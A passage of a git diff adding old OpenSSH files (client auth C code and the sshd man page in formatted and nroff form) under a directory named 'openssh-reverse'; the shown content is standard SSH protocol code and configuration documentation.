*/ + if (buffer_len(&b) < skip + 1) + fatal("ssh2_try_pubkey: internal error"); + buffer_consume(&b, skip + 1); + + /* put remaining data from buffer into packet */ + packet_start(SSH2_MSG_USERAUTH_REQUEST); + packet_put_raw(buffer_ptr(&b), buffer_len(&b)); + buffer_free(&b); + + /* send */ + packet_send(); + packet_write_wait(); + return 1; +} + +void +ssh_userauth2(const char *server_user, char *host) +{ + int type; + int plen; + int sent; + unsigned int dlen; + int partial; + int i = 0; + char *auths; + char *service = "ssh-connection"; /* service name */ + + debug("send SSH2_MSG_SERVICE_REQUEST"); + packet_start(SSH2_MSG_SERVICE_REQUEST); + packet_put_cstring("ssh-userauth"); + packet_send(); + packet_write_wait(); + + type = packet_read(&plen); + if (type != SSH2_MSG_SERVICE_ACCEPT) { + fatal("denied SSH2_MSG_SERVICE_ACCEPT: %d", type); + } + if (packet_remaining() > 0) { + char *reply = packet_get_string(&plen); + debug("service_accept: %s", reply); + xfree(reply); + } else { + /* payload empty for ssh-2.0.13 ?? */ + debug("buggy server: service_accept w/o service"); + } + packet_done(); + debug("got SSH2_MSG_SERVICE_ACCEPT"); + + /* INITIAL request for auth */ + packet_start(SSH2_MSG_USERAUTH_REQUEST); + packet_put_cstring(server_user); + packet_put_cstring(service); + packet_put_cstring("none"); + packet_send(); + packet_write_wait(); + + for (;;) { + sent = 0; + type = packet_read(&plen); + if (type == SSH2_MSG_USERAUTH_SUCCESS) + break; + if (type != SSH2_MSG_USERAUTH_FAILURE) + fatal("access denied: %d", type); + /* SSH2_MSG_USERAUTH_FAILURE means: try again */ + auths = packet_get_string(&dlen); + debug("authentications that can continue: %s", auths); + partial = packet_get_char(); + packet_done(); + if (partial) + debug("partial success"); + if (options.dsa_authentication && + strstr(auths, "publickey") != NULL) { + while (i < options.num_identity_files2) { + sent = ssh2_try_pubkey( + options.identity_files2[i++], + server_user, host, service); + if (sent) + break; + } + } + if (!sent) { + if (options.password_authentication && + !options.batch_mode && + strstr(auths, "password") != NULL) { + sent = ssh2_try_passwd(server_user, host, service); + } + } + if (!sent) + fatal("Permission denied (%s).", auths); + xfree(auths); + } + packet_done(); + debug("ssh-userauth2 successfull"); +} diff --git a/other/openssh-reverse/sshd.0 b/other/openssh-reverse/sshd.0 new file mode 100644 index 0000000..639cdc6 --- /dev/null +++ b/other/openssh-reverse/sshd.0 @@ -0,0 +1,732 @@ + +SSHD(8) System Manager's Manual SSHD(8) + +NAME + sshd - secure shell daemon + +SYNOPSIS + sshd [-diqQ46] [-b bits] [-f config_file] [-g login_grace_time] [-h + host_key_file] [-k key_gen_time] [-p port] [-V client_protocol_id] + +DESCRIPTION + sshd (Secure Shell Daemon) is the daemon program for ssh(1). Together + these programs replace rlogin and rsh, and provide secure encrypted com- + munications between two untrusted hosts over an insecure network. The + programs are intended to be as easy to install and use as possible. + + sshd is the daemon that listens for connections from clients. It is nor- + mally started at boot from /etc/rc. It forks a new daemon for each incom- + ing connection. The forked daemons handle key exchange, encryption, au- + thentication, command execution, and data exchange. This implementation + of sshd supports both SSH protocol version 1 and 2 simultaneously. sshd + works as follows. + + SSH protocol version 1 + + Each host has a host-specific RSA key (normally 1024 bits) used to iden- + tify the host. Additionally, when the daemon starts, it generates a + server RSA key (normally 768 bits). This key is normally regenerated ev- + ery hour if it has been used, and is never stored on disk. + + Whenever a client connects the daemon responds with its public host and + server keys. The client compares the RSA host key against its own + database to verify that it has not changed. The client then generates a + 256 bit random number. It encrypts this random number using both the + host key and the server key, and sends the encrypted number to the serv- + er. Both sides then use this random number as a session key which is + used to encrypt all further communications in the session. The rest of + the session is encrypted using a conventional cipher, currently Blowfish + or 3DES, with 3DES being used by default. The client selects the encryp- + tion algorithm to use from those offered by the server. + + Next, the server and the client enter an authentication dialog. The + client tries to authenticate itself using .rhosts authentication, .rhosts + authentication combined with RSA host authentication, RSA challenge-re- + sponse authentication, or password based authentication. + + Rhosts authentication is normally disabled because it is fundamentally + insecure, but can be enabled in the server configuration file if desired. + System security is not improved unless rshd(8), rlogind(8), rexecd(8), + and rexd(8) are disabled (thus completely disabling rlogin(1) and rsh(1) + into the machine). + + SSH protocol version 2 + + Version 2 works similar: Each host has a host-specific DSA key used to + identify the host. However, when the daemon starts, it does not generate + a server key. Forward security is provided through a Diffie-Hellman key + agreement. This key agreement results in a shared session key. The rest + of the session is encrypted using a symmetric cipher, currently Blowfish, + 3DES or CAST128 in CBC mode or Arcfour. The client selects the encryp- + tion algorithm to use from those offered by the server. Additionally, + session integrity is provided through a cryptographic message authentica- + tion code (hmac-sha1 or hmac-md5). + + + Protocol version 2 provides a public key based user authentication method + (DSAAuthentication) and conventional password authentication. + + Command execution and data forwarding + + If the client successfully authenticates itself, a dialog for preparing + the session is entered. At this time the client may request things like + allocating a pseudo-tty, forwarding X11 connections, forwarding TCP/IP + connections, or forwarding the authentication agent connection over the + secure channel. + + Finally, the client either requests a shell or execution of a command. + The sides then enter session mode. In this mode, either side may send + data at any time, and such data is forwarded to/from the shell or command + on the server side, and the user terminal in the client side. + + When the user program terminates and all forwarded X11 and other connec- + tions have been closed, the server sends command exit status to the + client, and both sides exit. + + sshd can be configured using command-line options or a configuration + file. Command-line options override values specified in the configura- + tion file. + + sshd rereads its configuration file when it receives a hangup signal, + SIGHUP. + + The options are as follows: + + -b bits + Specifies the number of bits in the server key (default 768). + + -d Debug mode. The server sends verbose debug output to the system + log, and does not put itself in the background. The server also + will not fork and will only process one connection. This option + is only intended for debugging for the server. + + -f configuration_file + Specifies the name of the configuration file. The default is + /etc/sshd_config. sshd refuses to start if there is no configura- + tion file. + + -g login_grace_time + Gives the grace time for clients to authenticate themselves (de- + fault 300 seconds). If the client fails to authenticate the user + within this many seconds, the server disconnects and exits. A + value of zero indicates no limit. + + -h host_key_file + Specifies the file from which the RSA host key is read (default + /etc/ssh_host_key). This option must be given if sshd is not run + as root (as the normal host file is normally not readable by any- + one but root). + + -i Specifies that sshd is being run from inetd. sshd is normally + not run from inetd because it needs to generate the server key + before it can respond to the client, and this may take tens of + seconds. Clients would have to wait too long if the key was re- + generated every time. However, with small key sizes (e.g., 512) + using sshd from inetd may be feasible. + + -k key_gen_time + Specifies how often the server key is regenerated (default 3600 + seconds, or one hour). The motivation for regenerating the key + fairly often is that the key is not stored anywhere, and after + about an hour, it becomes impossible to recover the key for de- + crypting intercepted communications even if the machine is + cracked into or physically seized. A value of zero indicates + that the key will never be regenerated. + + -p port + Specifies the port on which the server listens for connections + (default 22). + + -q Quiet mode. Nothing is sent to the system log. Normally the be- + ginning, authentication, and termination of each connection is + logged. + + -Q Do not print an error message if RSA support is missing. + + -V client_protocol_id + SSH2 compatibility mode. When this option is specified sshd as- + sumes the client has sent the supplied version string and skips + the Protocol Version Identification Exchange. + + -4 Forces sshd to use IPv4 addresses only. + + -6 Forces sshd to use IPv6 addresses only. + +CONFIGURATION FILE + sshd reads configuration data from /etc/sshd_config (or the file speci- + fied with -f on the command line). The file contains keyword-value + pairs, one per line. Lines starting with `#' and empty lines are inter- + preted as comments. + + The following keywords are possible. + + AFSTokenPassing + Specifies whether an AFS token may be forwarded to the server. + Default is ``yes''. + + AllowGroups + This keyword can be followed by a number of group names, separat- + ed by spaces. If specified, login is allowed only for users + whose primary group matches one of the patterns. `*' and `?' can + be used as wildcards in the patterns. Only group names are + valid, a numerical group ID isn't recognized. By default login + is allowed regardless of the primary group. + + AllowUsers + This keyword can be followed by a number of user names, separated + by spaces. If specified, login is allowed only for users names + that match one of the patterns. `*' and `?' can be used as wild- + cards in the patterns. Only user names are valid, a numerical + user ID isn't recognized. By default login is allowed regardless + of the user name. + + Ciphers + Specifies the ciphers allowed for protocol version 2. Multiple + ciphers must be comma-separated. The default is ``3des- + cbc,blowfish-cbc,arcfour,cast128-cbc''. + + CheckMail + Specifies whether sshd should check for new mail for interactive + logins. The default is ``no''. + + DenyGroups + This keyword can be followed by a number of group names, separat- + ed by spaces. Users whose primary group matches one of the pat- + terns aren't allowed to log in. `*' and `?' can be used as wild- + cards in the patterns. Only group names are valid, a numerical + group ID isn't recognized. By default login is allowed regard- + less of the primary group. + + DenyUsers + This keyword can be followed by a number of user names, separated + by spaces. Login is disallowed for user names that match one of + the patterns. `*' and `?' can be used as wildcards in the pat- + terns. Only user names are valid, a numerical user ID isn't rec- + ognized. By default login is allowed regardless of the user + name. + + DSAAuthentication + Specifies whether DSA authentication is allowed. The default is + ``yes''. Note that this option applies to protocol version 2 on- + ly. + + GatewayPorts + Specifies whether remote hosts are allowed to connect to ports + forwarded for the client. The argument must be ``yes'' or + ``no''. The default is ``no''. + + HostDsaKey + Specifies the file containing the private DSA host key (default + /etc/ssh_host_dsa_key) used by SSH protocol 2.0. Note that sshd + disables protocol 2.0 if this file is group/world-accessible. + + HostKey + Specifies the file containing the private RSA host key (default + /etc/ssh_host_key) used by SSH protocols 1.3 and 1.5. Note that + sshd disables protocols 1.3 and 1.5 if this file is group/world- + accessible. + + IgnoreRhosts + Specifies that .rhosts and .shosts files will not be used in au- + thentication. /etc/hosts.equiv and /etc/shosts.equiv are still + used. The default is ``yes''. + + IgnoreUserKnownHosts + Specifies whether sshd should ignore the user's + $HOME/.ssh/known_hosts during RhostsRSAAuthentication. The de- + fault is ``no''. + + KeepAlive + Specifies whether the system should send keepalive messages to + the other side. If they are sent, death of the connection or + crash of one of the machines will be properly noticed. However, + this means that connections will die if the route is down tem- + porarily, and some people find it annoying. On the other hand, + if keepalives are not sent, sessions may hang indefinitely on the + server, leaving ``ghost'' users and consuming server resources. + + The default is ``yes'' (to send keepalives), and the server will + notice if the network goes down or the client host reboots. This + avoids infinitely hanging sessions. + + To disable keepalives, the value should be set to ``no'' in both + the server and the client configuration files. + + KerberosAuthentication + Specifies whether Kerberos authentication is allowed. This can + be in the form of a Kerberos ticket, or if PasswordAuthentication + is yes, the password provided by the user will be validated + through the Kerberos KDC. Default is ``yes''. + + KerberosOrLocalPasswd + If set then if password authentication through Kerberos fails + then the password will be validated via any additional local + + mechanism such as /etc/passwd or SecurID. Default is ``yes''. + + KerberosTgtPassing + Specifies whether a Kerberos TGT may be forwarded to the server. + Default is ``no'', as this only works when the Kerberos KDC is + actually an AFS kaserver. + + KerberosTicketCleanup + Specifies whether to automatically destroy the user's ticket + cache file on logout. Default is ``yes''. + + KeyRegenerationInterval + The server key is automatically regenerated after this many sec- + onds (if it has been used). The purpose of regeneration is to + prevent decrypting captured sessions by later breaking into the + machine and stealing the keys. The key is never stored anywhere. + If the value is 0, the key is never regenerated. The default is + 3600 (seconds). + + ListenAddress + Specifies what local address sshd should listen on. The default + is to listen to all local addresses. Multiple options of this + type are permitted. Additionally, the Ports options must precede + this option. + + LoginGraceTime + The server disconnects after this time if the user has not suc- + cessfully logged in. If the value is 0, there is no time limit. + The default is 600 (seconds). + + LogLevel + Gives the verbosity level that is used when logging messages from + sshd. The possible values are: QUIET, FATAL, ERROR, INFO, VERBOSE + and DEBUG. The default is INFO. Logging with level DEBUG vio- + lates the privacy of users and is not recommended. + + MaxStartups + Specifies the maximum number of concurrent unauthenticated con- + nections to the sshd daemon. Additional connections will be + dropped until authentication succeeds or the LoginGraceTime ex- + pires for a connection. The default is 10. + + PasswordAuthentication + Specifies whether password authentication is allowed. The de- + fault is ``yes''. Note that this option applies to both protocol + version 1 and 2. + + PermitEmptyPasswords + When password authentication is allowed, it specifies whether the + server allows login to accounts with empty password strings. The + default is ``no''. + + PermitRootLogin + Specifies whether the root can log in using ssh(1). The argument + must be ``yes'', ``without-password'' or ``no''. The default is + ``yes''. If this options is set to ``without-password'' only + password authentication is disabled for root. + + Root login with RSA authentication when the command option has + been specified will be allowed regardless of the value of this + setting (which may be useful for taking remote backups even if + root login is normally not allowed). + + PidFile + Specifies the file that contains the process identifier of the + + sshd daemon. The default is /var/run/sshd.pid. + + Port Specifies the port number that sshd listens on. The default is + 22. Multiple options of this type are permitted. + + PrintMotd + Specifies whether sshd should print /etc/motd when a user logs in + interactively. (On some systems it is also printed by the shell, + /etc/profile, or equivalent.) The default is ``yes''. + + Protocol + Specifies the protocol versions sshd should support. The possi- + ble values are ``1'' and ``2''. Multiple versions must be comma- + separated. The default is ``1''. + + RandomSeed + Obsolete. Random number generation uses other techniques. + + RhostsAuthentication + Specifies whether authentication using rhosts or /etc/hosts.equiv + files is sufficient. Normally, this method should not be permit- + ted because it is insecure. RhostsRSAAuthentication should be + used instead, because it performs RSA-based host authentication + in addition to normal rhosts or /etc/hosts.equiv authentication. + The default is ``no''. + + RhostsRSAAuthentication + Specifies whether rhosts or /etc/hosts.equiv authentication to- + gether with successful RSA host authentication is allowed. The + default is ``no''. + + RSAAuthentication + Specifies whether pure RSA authentication is allowed. The de- + fault is ``yes''. Note that this option applies to protocol ver- + sion 1 only. + + ServerKeyBits + Defines the number of bits in the server key. The minimum value + is 512, and the default is 768. + + SkeyAuthentication + Specifies whether skey(1) authentication is allowed. The default + is ``yes''. Note that s/key authentication is enabled only if + PasswordAuthentication is allowed, too. + + StrictModes + Specifies whether sshd should check file modes and ownership of + the user's files and home directory before accepting login. This + is normally desirable because novices sometimes accidentally + leave their directory or files world-writable. The default is + ``yes''. + + Subsystem + Configures an external subsystem (e.g. file transfer daemon). + Arguments should be a subsystem name and a command to execute up- + on subsystem request. By default no subsystems are defined. + Note that this option applies to protocol version 2 only. + + SyslogFacility + Gives the facility code that is used when logging messages from + sshd. The possible values are: DAEMON, USER, AUTH, LOCAL0, LO- + CAL1, LOCAL2, LOCAL3, LOCAL4, LOCAL5, LOCAL6, LOCAL7. The de- + fault is AUTH. + + UseLogin + Specifies whether login(1) is used for interactive login ses- + sions. Note that login(1) is not never for remote command execu- + tion. The default is ``no''. + + X11DisplayOffset + Specifies the first display number available for sshd's X11 for- + warding. This prevents sshd from interfering with real X11 + servers. The default is 10. + + X11Forwarding + Specifies whether X11 forwarding is permitted. The default is + ``no''. Note that disabling X11 forwarding does not improve secu- + rity in any way, as users can always install their own for- + warders. + + XAuthLocation + Specifies the location of the xauth(1) program. The default is + /usr/X11R6/bin/xauth. + +LOGIN PROCESS + When a user successfully logs in, sshd does the following: + + 1. If the login is on a tty, and no command has been specified, + prints last login time and /etc/motd (unless prevented in the + configuration file or by $HOME/.hushlogin; see the FILES sec- + tion). + + 2. If the login is on a tty, records login time. + + 3. Checks /etc/nologin; if it exists, prints contents and quits + (unless root). + + 4. Changes to run with normal user privileges. + + 5. Sets up basic environment. + + 6. Reads $HOME/.ssh/environment if it exists. + + 7. Changes to user's home directory. + + 8. If $HOME/.ssh/rc exists, runs it; else if /etc/sshrc exists, + runs it; otherwise runs xauth. The ``rc'' files are given the + X11 authentication protocol and cookie in standard input. + + 9. Runs user's shell or command. + +AUTHORIZED_KEYS FILE FORMAT + The $HOME/.ssh/authorized_keys file lists the RSA keys that are permitted + for RSA authentication in SSH protocols 1.3 and 1.5 Similarly, the + $HOME/.ssh/authorized_keys2 file lists the DSA keys that are permitted + for DSA authentication in SSH protocol 2.0. Each line of the file con- + tains one key (empty lines and lines starting with a `#' are ignored as + comments). Each line consists of the following fields, separated by + spaces: options, bits, exponent, modulus, comment. The options field is + optional; its presence is determined by whether the line starts with a + number or not (the option field never starts with a number). The bits, + exponent, modulus and comment fields give the RSA key; the comment field + is not used for anything (but may be convenient for the user to identify + the key). + + Note that lines in this file are usually several hundred bytes long (be- + cause of the size of the RSA key modulus). You don't want to type them + in; instead, copy the identity.pub file and edit it. + + The options (if present) consists of comma-separated option specifica- + tions. No spaces are permitted, except within double quotes. The fol- + + lowing option specifications are supported: + + from="pattern-list" + Specifies that in addition to RSA authentication, the canonical + name of the remote host must be present in the comma-separated + list of patterns (`*' and `?' serve as wildcards). The list may + also contain patterns negated by prefixing them with `!'; if the + canonical host name matches a negated pattern, the key is not ac- + cepted. The purpose of this option is to optionally increase se- + curity: RSA authentication by itself does not trust the network + or name servers or anything (but the key); however, if somebody + somehow steals the key, the key permits an intruder to log in + from anywhere in the world. This additional option makes using a + stolen key more difficult (name servers and/or routers would have + to be compromised in addition to just the key). + + command="command" + Specifies that the command is executed whenever this key is used + for authentication. The command supplied by the user (if any) is + ignored. The command is run on a pty if the connection requests + a pty; otherwise it is run without a tty. A quote may be includ- + ed in the command by quoting it with a backslash. This option + might be useful to restrict certain RSA keys to perform just a + specific operation. An example might be a key that permits re- + mote backups but nothing else. Note that the client may specify + TCP/IP and/or X11 forwarding unless they are explicitly prohibit- + ed. + + environment="NAME=value" + Specifies that the string is to be added to the environment when + logging in using this key. Environment variables set this way + override other default environment values. Multiple options of + this type are permitted. + + no-port-forwarding + Forbids TCP/IP forwarding when this key is used for authentica- + tion. Any port forward requests by the client will return an er- + ror. This might be used, e.g., in connection with the command + option. + + no-X11-forwarding + Forbids X11 forwarding when this key is used for authentication. + Any X11 forward requests by the client will return an error. + + no-agent-forwarding + Forbids authentication agent forwarding when this key is used for + authentication. + + no-pty Prevents tty allocation (a request to allocate a pty will fail). + + Examples + 1024 33 12121...312314325 ylo@foo.bar + + from="*.niksula.hut.fi,!pc.niksula.hut.fi" 1024 35 23...2334 ylo@niksula + + command="dump /home",no-pty,no-port-forwarding 1024 33 23...2323 back- + up.hut.fi + +SSH_KNOWN_HOSTS FILE FORMAT + The /etc/ssh_known_hosts, /etc/ssh_known_hosts2, $HOME/.ssh/known_hosts, + and $HOME/.ssh/known_hosts2 files contain host public keys for all known + hosts. The global file should be prepared by the administrator (option- + al), and the per-user file is maintained automatically: whenever the user + connects an unknown host its key is added to the per-user file. + + + Each line in these files contains the following fields: hostnames, bits, + exponent, modulus, comment. The fields are separated by spaces. + + Hostnames is a comma-separated list of patterns ('*' and '?' act as wild- + cards); each pattern in turn is matched against the canonical host name + (when authenticating a client) or against the user-supplied name (when + authenticating a server). A pattern may also be preceded by `!' to indi- + cate negation: if the host name matches a negated pattern, it is not ac- + cepted (by that line) even if it matched another pattern on the line. + + Bits, exponent, and modulus are taken directly from the RSA host key; + they can be obtained, e.g., from /etc/ssh_host_key.pub. The optional com- + ment field continues to the end of the line, and is not used. + + Lines starting with `#' and empty lines are ignored as comments. + + When performing host authentication, authentication is accepted if any + matching line has the proper key. It is thus permissible (but not recom- + mended) to have several lines or different host keys for the same names. + This will inevitably happen when short forms of host names from different + domains are put in the file. It is possible that the files contain con- + flicting information; authentication is accepted if valid information can + be found from either file. + + Note that the lines in these files are typically hundreds of characters + long, and you definitely don't want to type in the host keys by hand. + Rather, generate them by a script or by taking /etc/ssh_host_key.pub and + adding the host names at the front. + + Examples + closenet,closenet.hut.fi,...,130.233.208.41 1024 37 159...93 + closenet.hut.fi + +FILES + /etc/sshd_config + Contains configuration data for sshd. This file should be + writable by root only, but it is recommended (though not neces- + sary) that it be world-readable. + + /etc/ssh_host_key + Contains the private part of the host key. This file should only + be owned by root, readable only by root, and not accessible to + others. Note that sshd does not start if this file is + group/world-accessible. + + /etc/ssh_host_key.pub + Contains the public part of the host key. This file should be + world-readable but writable only by root. Its contents should + match the private part. This file is not really used for any- + thing; it is only provided for the convenience of the user so its + contents can be copied to known hosts files. These two files are + created using ssh-keygen(1). + + /var/run/sshd.pid + Contains the process ID of the sshd listening for connections (if + there are several daemons running concurrently for different + ports, this contains the pid of the one started last). The con- + tents of this file are not sensitive; it can be world-readable. + + $HOME/.ssh/authorized_keys + Lists the RSA keys that can be used to log into the user's ac- + count. This file must be readable by root (which may on some ma- + chines imply it being world-readable if the user's home directory + resides on an NFS volume). It is recommended that it not be ac- + cessible by others. The format of this file is described above. + Users will place the contents of their identity.pub files into + this file, as described in ssh-keygen(1). + + $HOME/.ssh/authorized_keys2 + Lists the DSA keys that can be used to log into the user's ac- + count. This file must be readable by root (which may on some ma- + chines imply it being world-readable if the user's home directory + resides on an NFS volume). It is recommended that it not be ac- + cessible by others. The format of this file is described above. + Users will place the contents of their id_dsa.pub files into this + file, as described in ssh-keygen(1). + + /etc/ssh_known_hosts and $HOME/.ssh/known_hosts + These files are consulted when using rhosts with RSA host authen- + tication to check the public key of the host. The key must be + listed in one of these files to be accepted. The client uses the + same files to verify that the remote host is the one we intended + to connect. These files should be writable only by root/the own- + er. /etc/ssh_known_hosts should be world-readable, and + $HOME/.ssh/known_hosts can but need not be world-readable. + + /etc/nologin + If this file exists, sshd refuses to let anyone except root log + in. The contents of the file are displayed to anyone trying to + log in, and non-root connections are refused. The file should be + world-readable. + + /etc/hosts.allow, /etc/hosts.deny + If compiled with LIBWRAP support, tcp-wrappers access controls + may be defined here as described in hosts_access(5). + + $HOME/.rhosts + This file contains host-username pairs, separated by a space, one + per line. The given user on the corresponding host is permitted + to log in without password. The same file is used by rlogind and + rshd. The file must be writable only by the user; it is recom- + mended that it not be accessible by others. + + If is also possible to use netgroups in the file. Either host or + user name may be of the form +@groupname to specify all hosts or + all users in the group. + + $HOME/.shosts + For ssh, this file is exactly the same as for .rhosts. However, + this file is not used by rlogin and rshd, so using this permits + access using SSH only. /etc/hosts.equiv This file is used during + .rhosts authentication. In the simplest form, this file contains + host names, one per line. Users on those hosts are permitted to + log in without a password, provided they have the same user name + on both machines. The host name may also be followed by a user + name; such users are permitted to log in as any user on this ma- + chine (except root). Additionally, the syntax ``+@group'' can be + used to specify netgroups. Negated entries start with `-'. + + If the client host/user is successfully matched in this file, lo- + gin is automatically permitted provided the client and server us- + er names are the same. Additionally, successful RSA host authen- + tication is normally required. This file must be writable only + by root; it is recommended that it be world-readable. + + Warning: It is almost never a good idea to use user names in + hosts.equiv. Beware that it really means that the named user(s) + can log in as anybody, which includes bin, daemon, adm, and other + accounts that own critical binaries and directories. Using a us- + er name practically grants the user root access. The only valid + use for user names that I can think of is in negative entries. + + Note that this warning also applies to rsh/rlogin. + + /etc/shosts.equiv + This is processed exactly as /etc/hosts.equiv. However, this file + may be useful in environments that want to run both rsh/rlogin + and ssh. + + $HOME/.ssh/environment + This file is read into the environment at login (if it exists). + It can only contain empty lines, comment lines (that start with + `#'), and assignment lines of the form name=value. The file + should be writable only by the user; it need not be readable by + anyone else. + + $HOME/.ssh/rc + If this file exists, it is run with /bin/sh after reading the en- + vironment files but before starting the user's shell or command. + If X11 spoofing is in use, this will receive the "proto cookie" + pair in standard input (and DISPLAY in environment). This must + call xauth(1) in that case. + + The primary purpose of this file is to run any initialization + routines which may be needed before the user's home directory be- + comes accessible; AFS is a particular example of such an environ- + ment. + + This file will probably contain some initialization code followed + by something similar to: "if read proto cookie; then echo add + $DISPLAY $proto $cookie | xauth -q -; fi". + + If this file does not exist, /etc/sshrc is run, and if that does + not exist either, xauth is used to store the cookie. + + This file should be writable only by the user, and need not be + readable by anyone else. + + /etc/sshrc + Like $HOME/.ssh/rc. This can be used to specify machine-specific + login-time initializations globally. This file should be + writable only by root, and should be world-readable. + +AUTHOR + OpenSSH is a derivative of the original (free) ssh 1.2.12 release by Tatu + Ylonen, but with bugs removed and newer features re-added. Rapidly after + the 1.2.12 release, newer versions of the original ssh bore successively + more restrictive licenses, and thus demand for a free version was born. + + This version of OpenSSH + + o has all components of a restrictive nature (i.e., patents) directly + removed from the source code; any licensed or patented components are + chosen from external libraries. + + o has been updated to support SSH protocol 1.5 and 2, making it compat- + ible with all other SSH clients and servers. + + o contains added support for kerberos(8) authentication and ticket + passing. + + o supports one-time password authentication with skey(1). + + OpenSSH has been created by Aaron Campbell, Bob Beck, Markus Friedl, + Niels Provos, Theo de Raadt, and Dug Song. + + + The support for SSH protocol 2 was written by Markus Friedl. + +SEE ALSO + scp(1), ssh(1), ssh-add(1), ssh-agent(1), ssh-keygen(1), rlogin(1), + rsh(1) + +BSD Experimental September 25, 1999 12 diff --git a/other/openssh-reverse/sshd.8 b/other/openssh-reverse/sshd.8 new file mode 100644 index 0000000..c6c2ce8 --- /dev/null +++ b/other/openssh-reverse/sshd.8 @@ -0,0 +1,1004 @@ +.\" -*- nroff -*- +.\" +.\" sshd.8.in +.\" +.\" Author: Tatu Ylonen +.\" +.\" Copyright (c) 1995 Tatu Ylonen , Espoo, Finland +.\" All rights reserved +.\" +.\" Created: Sat Apr 22 21:55:14 1995 ylo +.\" +.\" $Id: sshd.8,v 1.56 2000/07/06 04:06:56 aaron Exp $ +.\" +.Dd September 25, 1999 +.Dt SSHD 8 +.Os +.Sh NAME +.Nm sshd +.Nd secure shell daemon +.Sh SYNOPSIS +.Nm sshd +.Op Fl diqQ46 +.Op Fl b Ar bits +.Op Fl f Ar config_file +.Op Fl g Ar login_grace_time +.Op Fl h Ar host_key_file +.Op Fl k Ar key_gen_time +.Op Fl p Ar port +.Op Fl V Ar client_protocol_id +.Sh DESCRIPTION +.Nm +(Secure Shell Daemon) is the daemon program for +.Xr ssh 1 . +Together these programs replace rlogin and rsh, and +provide secure encrypted communications between two untrusted hosts +over an insecure network. +The programs are intended to be as easy to +install and use as possible. +.Pp +.Nm +is the daemon that listens for connections from clients. +It is normally started at boot from +.Pa /etc/rc . +It forks a new +daemon for each incoming connection. +The forked daemons handle +key exchange, encryption, authentication, command execution, +and data exchange. +This implementation of +.Nm +supports both SSH protocol version 1 and 2 simultaneously. +.Nm +works as follows. +.Pp +.Ss SSH protocol version 1 +.Pp +Each host has a host-specific RSA key +(normally 1024 bits) used to identify the host. +Additionally, when +the daemon starts, it generates a server RSA key (normally 768 bits). +This key is normally regenerated every hour if it has been used, and +is never stored on disk. +.Pp +Whenever a client connects the daemon responds with its public +host and server keys. +The client compares the +RSA host key against its own database to verify that it has not changed. +The client then generates a 256 bit random number. +It encrypts this +random number using both the host key and the server key, and sends +the encrypted number to the server. +Both sides then use this +random number as a session key which is used to encrypt all further +communications in the session. +The rest of the session is encrypted +using a conventional cipher, currently Blowfish or 3DES, with 3DES +being used by default. +The client selects the encryption algorithm +to use from those offered by the server. +.Pp +Next, the server and the client enter an authentication dialog. +The client tries to authenticate itself using +.Pa .rhosts +authentication, +.Pa .rhosts +authentication combined with RSA host +authentication, RSA challenge-response authentication, or password +based authentication. +.Pp +Rhosts authentication is normally disabled +because it is fundamentally insecure, but can be enabled in the server +configuration file if desired. +System security is not improved unless +.Xr rshd 8 , +.Xr rlogind 8 , +.Xr rexecd 8 , +and +.Xr rexd 8 +are disabled (thus completely disabling +.Xr rlogin 1 +and +.Xr rsh 1 +into the machine). +.Pp +.Ss SSH protocol version 2 +.Pp +Version 2 works similar: +Each host has a host-specific DSA key used to identify the host. +However, when the daemon starts, it does not generate a server key. +Forward security is provided through a Diffie-Hellman key agreement. +This key agreement results in a shared session key. +The rest of the session is encrypted +using a symmetric cipher, currently +Blowfish, 3DES or CAST128 in CBC mode or Arcfour. +The client selects the encryption algorithm +to use from those offered by the server. +Additionally, session integrity is provided +through a cryptographic message authentication code +(hmac-sha1 or hmac-md5). +.Pp +Protocol version 2 provides a public key based +user authentication method (DSAAuthentication) +and conventional password authentication. +.Pp +.Ss Command execution and data forwarding +.Pp +If the client successfully authenticates itself, a dialog for +preparing the session is entered. +At this time the client may request +things like allocating a pseudo-tty, forwarding X11 connections, +forwarding TCP/IP connections, or forwarding the authentication agent +connection over the secure channel. +.Pp +Finally, the client either requests a shell or execution of a command. +The sides then enter session mode. +In this mode, either side may send +data at any time, and such data is forwarded to/from the shell or +command on the server side, and the user terminal in the client side. +.Pp +When the user program terminates and all forwarded X11 and other +connections have been closed, the server sends command exit status to +the client, and both sides exit. +.Pp +.Nm +can be configured using command-line options or a configuration +file. +Command-line options override values specified in the +configuration file. +.Pp +.Nm +rereads its configuration file when it receives a hangup signal, +.Dv SIGHUP . +.Pp +The options are as follows: +.Bl -tag -width Ds +.It Fl b Ar bits +Specifies the number of bits in the server key (default 768). +.Pp +.It Fl d +Debug mode. +The server sends verbose debug output to the system +log, and does not put itself in the background. +The server also will not fork and will only process one connection. +This option is only intended for debugging for the server. +.It Fl f Ar configuration_file +Specifies the name of the configuration file. +The default is +.Pa /etc/sshd_config . +.Nm +refuses to start if there is no configuration file. +.It Fl g Ar login_grace_time +Gives the grace time for clients to authenticate themselves (default +300 seconds). +If the client fails to authenticate the user within +this many seconds, the server disconnects and exits. +A value of zero indicates no limit. +.It Fl h Ar host_key_file +Specifies the file from which the RSA host key is read (default +.Pa /etc/ssh_host_key ) . +This option must be given if +.Nm +is not run as root (as the normal +host file is normally not readable by anyone but root). +.It Fl i +Specifies that +.Nm +is being run from inetd. +.Nm +is normally not run +from inetd because it needs to generate the server key before it can +respond to the client, and this may take tens of seconds. +Clients would have to wait too long if the key was regenerated every time. +However, with small key sizes (e.g., 512) using +.Nm +from inetd may +be feasible. +.It Fl k Ar key_gen_time +Specifies how often the server key is regenerated (default 3600 +seconds, or one hour). +The motivation for regenerating the key fairly +often is that the key is not stored anywhere, and after about an hour, +it becomes impossible to recover the key for decrypting intercepted +communications even if the machine is cracked into or physically +seized. +A value of zero indicates that the key will never be regenerated. +.It Fl p Ar port +Specifies the port on which the server listens for connections +(default 22). +.It Fl q +Quiet mode. +Nothing is sent to the system log. +Normally the beginning, +authentication, and termination of each connection is logged. +.It Fl Q +Do not print an error message if RSA support is missing. +.It Fl V Ar client_protocol_id +SSH2 compatibility mode. +When this option is specified +.Nm +assumes the client has sent the supplied version string +and skips the +Protocol Version Identification Exchange. +.It Fl 4 +Forces +.Nm +to use IPv4 addresses only. +.It Fl 6 +Forces +.Nm +to use IPv6 addresses only. +.El +.Sh CONFIGURATION FILE +.Nm +reads configuration data from +.Pa /etc/sshd_config +(or the file specified with +.Fl f +on the command line). +The file contains keyword-value pairs, one per line. +Lines starting with +.Ql # +and empty lines are interpreted as comments. +.Pp +The following keywords are possible. +.Bl -tag -width Ds +.It Cm AFSTokenPassing +Specifies whether an AFS token may be forwarded to the server. +Default is +.Dq yes . +.It Cm AllowGroups +This keyword can be followed by a number of group names, separated +by spaces. +If specified, login is 